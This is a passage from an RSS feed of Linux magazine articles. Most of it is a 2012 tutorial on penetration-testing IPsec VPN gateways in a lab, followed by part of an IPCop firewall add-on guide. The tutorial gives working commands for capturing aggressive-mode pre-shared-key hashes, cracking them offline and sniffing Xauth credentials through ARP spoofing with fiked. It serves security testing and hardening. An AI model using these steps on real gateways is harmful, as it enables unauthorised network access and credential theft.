href="http://www.linuxforu.com/tag/pandaboard/" title="PandaBoard" rel="tag">PandaBoard</a>, <a href="http://www.linuxforu.com/tag/portable-solution/" title="portable solution" rel="tag">portable solution</a>, <a href="http://www.linuxforu.com/tag/pyserial/" title="Pyserial" rel="tag">Pyserial</a>, <a href="http://www.linuxforu.com/tag/python/" title="python" rel="tag">python</a>, <a href="http://www.linuxforu.com/tag/signal-processing/" title="signal processing" rel="tag">signal processing</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/building-image-processing-embedded-systems-using-python-part-1/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>IPsec VPN Penetration Testing with BackTrack Tools</title><link>http://www.linuxforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ipsec-vpn-penetration-testing-backtrack-tools</link> <comments>http://www.linuxforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/#comments</comments> <pubDate>Mon, 30 Jan 2012 11:42:11 +0000</pubDate> <dc:creator>Arun Thomas</dc:creator> <category><![CDATA[How-Tos]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[Sysadmins]]></category> <category><![CDATA[Tools / Apps]]></category> <category><![CDATA[ARP spoofing]]></category> <category><![CDATA[authentication header]]></category> <category><![CDATA[authentication type]]></category> <category><![CDATA[Backtrack]]></category> <category><![CDATA[Cisco]]></category> <category><![CDATA[data packets]]></category> <category><![CDATA[encryption algorithm]]></category> <category><![CDATA[enterprise VPN]]></category> <category><![CDATA[IKE]]></category> <category><![CDATA[Internet Key Exchange]]></category> <category><![CDATA[IP addresses]]></category> <category><![CDATA[IP header]]></category> <category><![CDATA[IPsec]]></category> <category><![CDATA[isakmp]]></category> <category><![CDATA[Juniper]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[MAC address]]></category> <category><![CDATA[Metasploit]]></category> <category><![CDATA[metasploit framework]]></category> <category><![CDATA[Nessus]]></category> <category><![CDATA[NMap]]></category> <category><![CDATA[origin authentication]]></category> <category><![CDATA[Penetration testing]]></category> <category><![CDATA[Perfect Forward Secrecy]]></category> <category><![CDATA[protocol implementation]]></category> <category><![CDATA[secure channel]]></category> <category><![CDATA[VPN]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9391</guid> <description><![CDATA[This article outlines the value of penetration-testing VPN gateways for known vulnerabilities and also shows you how to prevent a breach into the internal network. IPsec is the most commonly used technology for...]]></description> <content:encoded><![CDATA[<p><img class="alignright size-full wp-image-9393" title="Penetration testing" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/ipsec.jpg?d9c344" alt="Penetration testing" width="300" height="300" /></p><div class="introduction">This article outlines the value of penetration-testing VPN gateways for known vulnerabilities and also shows you how to prevent a breach into the internal network.</div><p>IPsec is the most commonly used technology for both gateway-to-gateway (LAN-to-LAN) and host to gateway (remote access) enterprise VPN solutions. It offers complete data protection for tunnelled traffic, with confidentiality, integrity, data origin authentication and anti-replay services. IPsec uses a lot of components to achieve high-level security. The major protocols that IPsec uses are:</p><ul><li><strong>ESP (Encapsulation Security Payload):</strong> ESP can provide data confidentiality and integrity, but cannot protect the IP header. The IP protocol number of ESP is 50.</li><li><strong>AH (Authentication Header):</strong> AH can provide the integrity service to the data packet, but cannot offer confidentiality to data packets like ESP. The IP protocol number of AH is 51.</li><li><strong>IKE (Internet Key Exchange):</strong> IKE provides support for the negotiation of parameters between end points or VPN peers and thus establishes, maintains and terminates security associations (SA). The SA termination can be based on time (seconds) or transfer (kilobytes) rate. Actually, IKE is a type of ISAKMP (Internet Security Association Key Management Protocol) implementation, which is a framework for authentication and key exchange. IKE establishes the security association (SA) between two endpoints through a three-phase process.<ul><li><em>IKE Phase 1:</em> IKE Phase 1 sets up a secure channel between two IPsec endpoints by the negotiation of parameters like the encryption algorithm, integrity algorithm, authentication type, key distribution mechanism, life time, etc. IKE Phase 1 can either use the main mode or aggressive mode to establish the bidirectional security association. Main mode negotiates SA through three pairs of messages, while aggressive mode offers faster operations through the exchange of three messages.</li><li><em>IKE Phase 2:</em> IKE Phase 2 is used for data protection. The VPN peers negotiate the IPsec parameters needed for data security with ESP and AH. Finally, a unidirectional SA is built between pairs with a special mode known as Quick Mode. The establishment of the Phase 2 security association can use an entirely different algorithm from what&#8217;s used by Phase 1 &#8212; the Diffie Hellman Algorithm &#8212; for more security. This concept is known as Perfect Forward Secrecy (PFS).</li><li><em>IKE Phase 1.5:</em> IKE Phase 1.5 or the Extended Authentication Phase is an optional phase and is commonly used in remote access VPN solutions. IKE Phase 1.5 will enhance security by adding end-user-level authentication.</li></ul></li></ul><p>Commercial VPN gateways from different manufacturers like Cisco, Checkpoint, Juniper, Microsoft, etc., are readily available. Some of those vendors offer both hardware- and software-based solutions for IPsec implementations. Quite a few robust open source solutions like Openswan, StrongVPN, etc., can also be used for IPsec implementations.</p><h2>Does your IPsec VPN solution offer complete protection?</h2><p>VPN penetration testing will help the organisation to baseline (identify the loopholes that exist in the present implementation and modify the configuration accordingly to protect itself from known problems) its current VPN security posture, identify threats and weaknesses, and implement a new security policy that will mitigate risks.</p><h2>Setting up the test lab for VPN pen-testing</h2><p>GNS3 is a great tool for simulating Cisco devices (and other vendor devices like Juniper too). There are many tutorials on the Internet for IPsec remote access and site-to-VPN configurations using GNS3. One such tutorial is available <a href="http://www.blindhog.net/cisco-how-to-configure-an-ipsec-vpn/">here</a>.</p><p>By using a PC with a Core 2 Duo or higher processor with 2 GB RAM, you can completely simulate the test lab. Distros like Ubuntu now have GNS3 in their repository. Command-line installation in Ubuntu is as simple as <code>sudo apt-get install gns3</code>. A complete coverage of the GNS3 setup is beyond the scope of this article. So those who are new to GNS3, consult the <a href="http://www.gns3.net/documentation/">project documentation</a>.</p><p>For this test lab, you need to simulate a router with IPsec support with two interfaces. Do not forget to add the <a href="http://www.linuxforu.com/2011/03/digital-forensic-analysis-using-backtrack-part-1/" title="Digital Forensic Analysis Using BackTrack, Part 1">BackTrack</a> PC to the simulated Internet region of your test lab setup (external interface of router), as shown in the sample topology (Figure 1). All tests will be performed from the BackTrack PC.</p><div id="attachment_9394" class="wp-caption aligncenter" style="width: 590px"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Figure1-590x376.jpg?d9c344" alt="Sample topology" title="Sample topology" width="590" height="376" class="size-large wp-image-9394" /><p class="wp-caption-text">Figure 1: Sample topology</p></div><p>The same test lab setup can also be arranged with other solutions like Checkpoint SPLAT (Secure Platform or SPLAT is a software-based gateway solution from Checkpoint Software), Microsoft Server 2003 or 2008 (configured as an IPsec VPN gateway), etc.</p><h2>Penetration testing an IPsec VPN</h2><p>Penetration testing an IPsec VPN includes several phases like:</p><ol><li>Scanning or identifying the VPN gateway.</li><li>Fingerprinting the VPN gateway for guessing implementation.</li><li>PSK mode assessment and PSK sniffing.</li><li>Offline PSK cracking.</li><li>Checking for default user accounts.</li><li>Testing the VPN gateway for vendor specific vulnerabilities.</li></ol><h2>Scanning or identifying the VPN gateway</h2><p>To determine the presence of an IPsec VPN gateway, the penetration tester needs to port-scan the target. Most IPsec implementations will be ISAKMP-based. ISAKMP is an application layer key-exchange protocol that provides mechanisms to establish, negotiate, modify and delete Security Associations. ISAKMP uses UDP port 500, so a direct UDP port-scan on the suspected VPN gateway may give you the results. You can use Nmap or Ike-scan for this.</p><h3>Scanning with Nmap</h3><p>A direct port-scan on the VPN gateway with this powerful open source scanner provides supplemental information on the presence of the VPN gateway. <a href="http://www.linuxforu.com/tag/advanced-nmap-series/" title="Series of articles on Nmap">Nmap</a> can later be used at the fingerprinting phase for version or OS identification.</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds</pre><p>The options used were -sU for UDP scan, and -p to only scan the specified port. The scan output shows the ISAKMP port (UDP port 500) open.</p><h3>Ike-scan</h3><p>Ike-scan is a simple but powerful command-line tool that is used to find and fingerprint VPN gateways. It sends specially crafted IKE packets to target gateways and enlists any IKE responses that are received. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with eight transforms inside it.</p><p>Each transform contains a number of attributes like DES or 3DES as the encryption algorithm, SHA or MD5 as the integrity algorithm, a pre-shared key as the authentication type, Diffie-Hellman 1 or 2 as the key distribution algorithm and 28800 seconds as the lifetime.</p><p>Initial IPsec VPN discovery with Ike-scan is as shown below:</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
    HDR=(CKY-R=d90bf054d6b76401)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify</pre><p>The <code>-M</code> shows each payload in a line, so that the output will be neat and easy to understand. The output can be any of the following:</p><ul><li><em>0 returned handshake; 0 returned notify:</em> This means the target is not an IPsec gateway.</li><li><em>1 returned handshake; 0 returned notify</em>: This means the target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable.</li><li><em>0 returned handshake; 1 returned notify:</em> VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried).</li></ul><p>In the example shown, the VPN gateway replies with one returned handshake and the acceptable transform set has these parameters:</p><pre class="brush: text; gutter: false; first-line: 1">Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800

Custom transform sets can be tried against the target with the
&quot;--trans&quot; switch:

--trans=(1=1,2=2,3=1,4=2)</pre><p>&#8230;where 1=Encryption Algorithm, 2=Hash Algorithm, 3=Authentication Method, 4=Group Description, and 5=Group Type.</p><p>Kindly refer to <a href="http://www.ietf.org/rfc/rfc2409.txt">RFC 2409</a> Appendix A for a complete understanding of transform set values. There are a number of other tools like <code>ipsectrace</code>, <code>ipsecscan</code>, etc., available for IPsec scanning, but undoubtedly Ike-scan is one of the best and a frequently updated tool.</p><p>Vulnerability assessment tools like <a href="http://www.linuxforu.com/2011/04/nessus-metasploit-track-hack/" title="Nessus with Metasploit — Track and Hack">Nessus</a>, Nexpose, etc, can be used to identify the vulnerabilities of VPN implementations. A full security audit on the target gateway with such types of tools will generate a detailed report with all identified problems and the mitigation steps available.</p><h2>Fingerprinting the VPN gateway for guessing implementation</h2><p>Vendor identification and software detection of the gateway is achieved in the fingerprinting phase. To proceed with fingerprinting, you need to get a handshake message from the gateway, containing the acceptable transform set details. As the default IKE doesn&#8217;t offer reliability for transmitted packets, VPN gateway vendors will use their own back-off algorithm to deal with the &#8220;lost in transit&#8221; traffic.</p><p>The attacker sends an initial IKE proposal to the VPN gateway with an acceptable transform set. The attacker doesn&#8217;t reply and carefully analyses the server response messages for some time. (The default time Ike-scan waits for back-off fingerprinting is 60 seconds.) By analysing the time difference between the received messages from the server and the matching response pattern, the pen tester can successfully fingerprint the VPN gateway vendor.</p><p>Some VPN servers will use the optional Vendor ID (VID) payload with IKE to carry some proprietary extensions. This will really make fingerprinting easy for the attacker. Most of the time, VID is a hashed text string. Ike-scan can use the <code>--vendor</code> switch to add the VID payload to outbound packets. The received VID payload can be displayed by Ike-scan directly, as shown below:</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
    HDR=(CKY-R=4f3ec84731e2214a)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify</pre><p>Note that the Ike-scan fingerprinting can be done without even using the <code>--trans</code> option, but adding it will make the process faster.</p><p>So you have been successful in fingerprinting the vendor of the VPN gateway; in this case, it is a Cisco VPN Server like ASA or PIX.</p><h2>PSK mode assessment and PSK sniffing</h2><p>The aggressive mode of IPsec does not use a key distribution algorithm like Diffie-Hellman to protect the authentication data exchange. This makes it possible for the attacker to capture the authentication data. A server that works with aggressive mode will send the authentication hash in clear-text mode, which can be captured and cracked offline by tools like <code>ike-crack</code>. In the following example, the penetration tester sniffs the PSK hash and saves it into a file for offline cracking:</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# ike-scan --pskcrack --aggressive --id=peer 172.16.21.200 &gt; psk.txt</pre><p>Ike-probe or Ike-scan can be used to capture authentication data, as the following example shows:</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# ike-scan --pskcrack --aggressive --id=peer 172.16.21.200

Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Aggressive Mode Handshake returned HDR=(CKY-R=7eb59f437bbc5445) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(20 bytes) ID(Type=ID_IPV4_ADDR, Value=172.16.21.200) Hash(20 bytes) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=09002689dfd6b712 (XAUTH) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
41391d84dd47367e7f3182b07ccf3bcf48e0d8c917452ac071bce3673c4352583759e5086a9806ab7c5531944273c25a8722c259c76e5e393a2e48c36bf205d571cfd0eba36c573fe4b94939b867ec4ecf197c23930ed496a73df4a149ea6220029c6658e401de40f7f4fa098606a70ab9483c0eb2ac54258a06dd572ae2cd32:88bf0e2a5a07bd19924583ccef6523cb8f4fa56cd7ce65d015b61b2feeb700f37265de794c51af0a749e29339ee0f581870b7c515279c1672e827c6a686fe70d6cc0d6945ac73f1187764a0ebc333d8dd00c0a4e0ba29a0fc276277bbfdfc2e0b84e71881b5dde8869a57600141b939c1139afa865df52911e6ef866e6319eaf:7eb59f437bbc5445:059885068c28a7c4:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:01110000ac1015c8:bb3c0d7f23234a70d4e125def19bf249cdb299d7:68aeca96d276fba861756a48d79e11cca2623843:229f9468990c4887d2b13e73160c2288e51ff6c9
Ending ike-scan 1.9: 1 hosts scanned in 0.018 seconds (55.19 hosts/sec). 1 returned handshake; 0 returned notify</pre><h2>Offline PSK cracking</h2><p>Before cracking the captured hashed authentication string offline, edit the output file to include only the hash value. (It should only include 9 colon-separated values.) The offline cracking in Backtrack is done with <code>psk-crack</code>, which supports the dictionary, brute-force and hybrid mode cracking.</p><p>There are a number of other tools like Cain and Abel available for the offline PSK hash cracking. The following example shows the dictionary mode of <code>psk-crack</code>:</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# psk-crack -d /usr/local/share/ike-scan/psk-crack-dictionary psk.txt

Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key &quot;ADMIN&quot; matches SHA1 hash c1dc52bbb88d4b434c1050a6e77e923f03afbc82
Ending psk-crack: 136 iterations in 0.001 seconds (153153.15 iterations/sec)</pre><p>So the VPN gateway is configured with a simple pre-shared key <code>ADMIN</code>!</p><h2>Checking for default user accounts</h2><p>Most VPN solutions have the end-user-level authentication Xauth (Phase 1.5 of IKE) or Extended Authentication enabled by default. So with the <code>psk-crack</code> output alone, it will not be possible to get into the internal network. After the initial peer authentication, Xauth is required before the VPN gateway grants access.</p><p>Xauth login credentials can be captured by using <code>fiked</code>, a command-line tool that impersonates the VPN gateway&#8217;s IKE responder and sniffs the authentication data by intercepting the IKE traffic. You need to redirect IKE traffic to <code>fiked</code> for sniffing, which can be done with the help of ARP spoofing.</p><p>Given below is a simple example of <code>fiked</code>. The <code>-g</code> switch specifies the IP address of the gateway, captured data is written to a file with the <code>-l</code> switch, <code>-d</code> is used to run it in daemon mode, and <code>-k</code> is for &#8220;group id: shared key&#8221; representation:</p><pre class="brush: text; gutter: false; first-line: 1">root@bt:~# fiked -g 192.168.1.50 -k testgroup:secretkey -l output.txt -d</pre><p>In some cases, the VPN gateway will have default user accounts, which the pen-tester can use for Xauth. If not, extensive social engineering or information gathering will do the trick. You may use a proper IPsec VPN client like the Cisco EasyVPN client for the final verification.</p><h2>Testing the VPN gateway for vendor specific vulnerabilities</h2><p>There are hundreds of known IPsec/IKE vulnerabilities. Exploitation of these can cause disruption of VPN gateway services, so testing the gateway for these is very important. The following three websites are very useful; they list the known vulnerabilities of different VPN solutions:</p><ol><li><a href="http://nvd.nist.gov/">National Vulnerability Database</a></li><li><a href="http://secunia.com/">Secunia</a></li><li><a href="http://www.securityfocus.com/">SecurityFocus</a></li></ol><p>Sophisticated vulnerability assessment tools like <a href="http://www.linuxforu.com/2011/02/metasploit-meterpreter-payload/" title="Metasploit — 101 with Meterpreter Payload">MetaSploit Framework</a> Pro, Qualys, Core Impact, etc., can be used to test the VPN gateway against known vulnerabilities, along with custom-created exploit scripts. Security patches, OS upgradation or additional configuration may be needed to mitigate these threats, as guided by the vendor.</p><p>By compromising a VPN gateway server, the attacker can gain access to valuable internal resources, so organisations need to make sure that VPN gateways are hardened against these threats. Vulnerability assessment and penetration-testing of the VPN gateway, along with periodic reviews of configured security policies, can help organisations to tighten up overall security.</p><div class="imagecredit">Feature image courtesy: <a href="http://www.flickr.com/photos/waltzzz/2138811567/">Walter Logeman</a>. Reused under the terms of CC-BY-NC-ND 2.0 License.</div><div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/03/advanced-nmap-scanning-firewalls-continued/" rel="bookmark" class="crp_title">Advanced Nmap: Scanning Firewalls Continued</a></li><li><a href="http://www.linuxforu.com/2010/12/advanced-nmap-scanning-techniques-continued/" rel="bookmark" class="crp_title">Advanced Nmap: Scanning Techniques Continued</a></li><li><a href="http://www.linuxforu.com/2010/11/advanced-nmap-some-scan-types/" rel="bookmark" class="crp_title">Advanced NMap: Some Scan Types</a></li><li><a href="http://www.linuxforu.com/2011/01/advanced-nmap-fin-scan-and-os-detection/" rel="bookmark" class="crp_title">Advanced Nmap: FIN Scan &#038; OS Detection</a></li><li><a href="http://www.linuxforu.com/2011/05/advanced-nmap-a-recap/" rel="bookmark" class="crp_title">Advanced Nmap: A Recap</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/arp-spoofing/" title="ARP spoofing" rel="tag">ARP spoofing</a>, <a href="http://www.linuxforu.com/tag/authentication-header/" title="authentication header" rel="tag">authentication header</a>, <a href="http://www.linuxforu.com/tag/authentication-type/" title="authentication type" rel="tag">authentication type</a>, <a href="http://www.linuxforu.com/tag/backtrack/" title="Backtrack" rel="tag">Backtrack</a>, <a href="http://www.linuxforu.com/tag/cisco/" title="Cisco" rel="tag">Cisco</a>, <a href="http://www.linuxforu.com/tag/data-packets/" title="data packets" rel="tag">data packets</a>, <a href="http://www.linuxforu.com/tag/encryption-algorithm/" title="encryption algorithm" rel="tag">encryption algorithm</a>, <a href="http://www.linuxforu.com/tag/enterprise-vpn/" title="enterprise VPN" rel="tag">enterprise VPN</a>, <a href="http://www.linuxforu.com/tag/ike/" title="IKE" rel="tag">IKE</a>, <a href="http://www.linuxforu.com/tag/internet-key-exchange/" title="Internet Key Exchange" rel="tag">Internet Key Exchange</a>, <a href="http://www.linuxforu.com/tag/ip-addresses/" title="IP addresses" rel="tag">IP addresses</a>, <a href="http://www.linuxforu.com/tag/ip-header/" title="IP header" rel="tag">IP header</a>, <a href="http://www.linuxforu.com/tag/ipsec/" title="IPsec" rel="tag">IPsec</a>, <a href="http://www.linuxforu.com/tag/isakmp/" title="isakmp" rel="tag">isakmp</a>, <a href="http://www.linuxforu.com/tag/juniper/" title="Juniper" rel="tag">Juniper</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/mac-address/" title="MAC address" rel="tag">MAC address</a>, <a href="http://www.linuxforu.com/tag/metasploit/" title="Metasploit" rel="tag">Metasploit</a>, <a href="http://www.linuxforu.com/tag/metasploit-framework/" title="metasploit framework" rel="tag">metasploit framework</a>, <a href="http://www.linuxforu.com/tag/nessus/" title="Nessus" rel="tag">Nessus</a>, <a href="http://www.linuxforu.com/tag/nmap/" title="NMap" rel="tag">NMap</a>, <a href="http://www.linuxforu.com/tag/origin-authentication/" title="origin authentication" rel="tag">origin authentication</a>, <a href="http://www.linuxforu.com/tag/penetration-testing/" title="Penetration testing" rel="tag">Penetration testing</a>, <a href="http://www.linuxforu.com/tag/perfect-forward-secrecy/" title="Perfect Forward Secrecy" rel="tag">Perfect Forward Secrecy</a>, <a href="http://www.linuxforu.com/tag/protocol-implementation/" title="protocol implementation" rel="tag">protocol implementation</a>, <a href="http://www.linuxforu.com/tag/secure-channel/" title="secure channel" rel="tag">secure channel</a>, <a href="http://www.linuxforu.com/tag/vpn/" title="VPN" rel="tag">VPN</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Guard Your Network with IPCop, Part 2: Add-ons</title><link>http://www.linuxforu.com/2012/01/ipcop-firewall-addons/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ipcop-firewall-addons</link> <comments>http://www.linuxforu.com/2012/01/ipcop-firewall-addons/#comments</comments> <pubDate>Mon, 30 Jan 2012 10:17:31 +0000</pubDate> <dc:creator>Rajesh Deodhar</dc:creator> <category><![CDATA[How-Tos]]></category> <category><![CDATA[Sysadmins]]></category> <category><![CDATA[Tools / Apps]]></category> <category><![CDATA[Advanced Proxy]]></category> <category><![CDATA[cache management]]></category> <category><![CDATA[Caching]]></category> <category><![CDATA[Calamaris Report Generator]]></category> <category><![CDATA[firewall]]></category> <category><![CDATA[Internet connections]]></category> <category><![CDATA[IPCop]]></category> <category><![CDATA[IPCop add-ons]]></category> <category><![CDATA[ISDN]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[outgoing traffic]]></category> <category><![CDATA[proxy server]]></category> <category><![CDATA[putty]]></category> <category><![CDATA[SmoothWall]]></category> <category><![CDATA[ssh]]></category> <category><![CDATA[ssh utilities]]></category> <category><![CDATA[UDP]]></category> <category><![CDATA[Unified Threat Management]]></category> <category><![CDATA[Update Accelerator]]></category> <category><![CDATA[URL Filter]]></category> <category><![CDATA[VPN]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9379</guid> <description><![CDATA[A basic installation of IPCop provides minimum firewall functionality such as a proxy, compatibility with various Internet connections, port forwarding, IPSec VPN, etc. To convert it into a complete Unified Threat Management (UTM)...]]></description> <content:encoded><![CDATA[<p><img class="alignright size-full wp-image-9384" title="IPCop Add-ons" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/ipcop-addons.jpg?d9c344" alt="IPCop Add-ons" width="300" height="300" /></p><div class="introduction">A <a href="http://www.linuxforu.com/2011/12/ipcop-firewall-installation-basics/" title="Guard Your Network with IPCop, Part 1: Installation Basics">basic installation of IPCop</a> provides minimum firewall functionality such as a proxy, compatibility with various Internet connections, port forwarding, IPSec VPN, etc. To convert it into a complete Unified Threat Management (UTM) box, various additional features are required, which are available as add-ons. In this article, we explore how to install four important add-ons.</div><p>IPCop add-ons like Advanced Proxy, URL Filter, Update Accelerator and Calamaris are not officially part of the IPCop distro, but provide excellent additional functions such as advanced proxy, enabling network-based access control and authentication; URL filtering, with automatic blacklist updates; OpenVPN server; blocking outgoing traffic based on ports, etc. The important details, features and download links of our four add-ons are summarised in the following table.</p><table border="0"><thead><tr><td>Add-on</td><td>Current Version</td><td>Function &amp; features</td></tr></thead><tbody><tr><td><a href="http://advproxy.net/download.html">Advanced Proxy</a></td><td>3.0.6</td><td>Provides various additional functionality over and above the basic proxy:</p><ul><li>Seamless GUI integration for advanced Web proxy configuration</li><li>Local user authentication including group-based user management</li><li>identd (RFC 1413) authentication</li><li>LDAP authentication including Active Directory, eDirectory and OpenLDAP</li><li>Windows authentication including native Windows domains and Samba</li><li>RADIUS authentication</li><li>Extended cache management</li><li>Web access control by IP and MAC addresses</li><li>Download throttling</li><li>Time-based access restrictions</li><li>Classroom extensions for supervising Web access by classrooms</li><li>MIME type filter</li><li>Blocking of unauthorised browsers or client software</li><li>Automatic client configuration support (PAC and WPAD)</li></ul></td></tr><tr><td><a href="http://www.urlfilter.net/download.html">URL Filter</a></td><td>1.9.3</td><td>Block websites just by selecting the unwanted category. Available for both, IPCop and SmoothWall, it&#8217;s ready to use &#8212; download, install, and run. Following are some of its features:</p><ul><li>Seamless GUI integration for configuration and log viewer</li><li>Very flexible, block categories are not hardcoded</li><li>Custom block categories can be included</li><li>Works with all squidGuard-compatible blacklists</li><li>Automatic blacklist updates on a scheduled basis</li><li>Time, category and client-based constraints (IPCop only)</li><li>No reboot required, for installation/removal, nor during operation</li></ul></td></tr><tr><td><a href="http://update-accelerator.advproxy.net/download.html">Update Accelerator</a></td><td>2.1.3</td><td><ul><li>Caching various operating system patches and anti-virus updates</li><li>Increases download speed up to a factor of 1.500 for a 64kBit/s ISDN connection.</li><li>Guaranteed delivery from local cache, even if the Web Proxy cache has been cleared.</li><li>The Update Accelerator cache can be transferred from one IPCop to another for offline preloading.</li></ul></td></tr><tr><td><a href="http://calamaris.advproxy.net/download.html">Calamaris Report Generator</a></td><td>2.1.2</td><td>This one is for generation of categorised proxy reports. Following are some of its features:</p><ul><li>Request method (GET, HEAD, &#8230;)</li><li>Incoming requests (TCP and UDP)</li><li>Outgoing requests</li><li>Requested first- and second-level domains</li><li>Protocol report (http, gopher, ftp, &#8230;)</li><li>Requested content-types and file extensions</li><li>Size based distribution of objects</li><li>Performance in defined time ranges</li></ul></td></tr></tbody></table><div class="note"><strong>Note:</strong> Advanced Proxy is a prerequisite for URL Filter and Update Accelerator.</div><p>The setup assumes IPCop (green) IP as 192.168.51.1, the IPCop Web access port to be 445 and the IPCop SSH access port of 222, with SSH access enabled (<em>System  &#8211;&gt; SSH Access</em> in the IPCop Web GUI). To copy add-on binaries, you need to use SCP, and for installation you need direct console access or SSH access from another system. Linux users can use the scp and ssh utilities. Windows users can download and install <a href="http://winscp.net/eng/download.php">WinSCP</a> and <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html">Putty</a> for these purposes. That done, download the various add-on binaries from the links provided in the table above to your desktop. Secure-copy (SCP) them to <code>/root</code> on the IPCop box. Get a command prompt on the IPCop box via SSH (or Putty).</p><p>Extract each of the tarballs with <code>tar -xzf &lt;tarballname&gt;</code>. Change to each of the extracted folders in turn (<code>ipcop-advproxy</code>, <code>ipcop-urlfilter</code>, <code>ipcop-updatexlrator</code>, <code>ipcop-calamaris</code>), and run <code>./install</code> in each of them to install that add-on.</p><p>Subsequent configuration is via the IPCop Web GUI being prerequisite for various other add-ons, install ADV Proxy first followed by others.</p><h2>AdvProxy</h2><p>In the Web GUI, go to <em>Services  &#8211;&gt; Advanced Proxy</em>. The important settings under various categories are given below.</p><ul><li>Common settings:<ol><li>Enable this add-on on the Green network (and any others if needed).</li><li>Whether or not to use Transparent mode (no change in client browser connection settings is required, though the browser must be configured to use the IPCop proxy port).</li><li>Proxy port (default TCP 800).</li></ol></li><li>Other settings include:<ol><li>Upstream Proxy: To be used if the Internet connection is via a proxy server. Here, the username and password can also be provided.</li><li>Log settings: To enable/disable proxy logs.</li><li>Cache management: Define cache size.</li><li>Network-based access control: Allows you to control Internet access only to the defined subnets (or IP addresses). For example, 192.168.51.0/27 will allow Internet access to 192.168.51.1 to 192.168.51.30. (Some clients can be banned by entering their IPs under &#8216;Banned IP addresses&#8217;.)</li><li>Time restrictions: Internet access can be allowed only during certain time periods.</li><li>Authentication methods: IPCop supports user authentication methods such as Local (IPCop username and passwords), LDAP/RADIUS (external LDAP server), Windows (Windows Domain Controller), etc.</li></ol></li></ul><div id="attachment_9380" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-1-ADV-Proxy-settings.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Screenshot-1-ADV-Proxy-settings-590x324.png?d9c344" alt="Advanced Proxy settings" title="Advanced Proxy settings" width="590" height="324" class="size-large wp-image-9380" /></a><p class="wp-caption-text">Figure 1: Advanced Proxy settings</p></div><h2>URL Filter</h2><p>To enable URL Filter, go to the bottom of 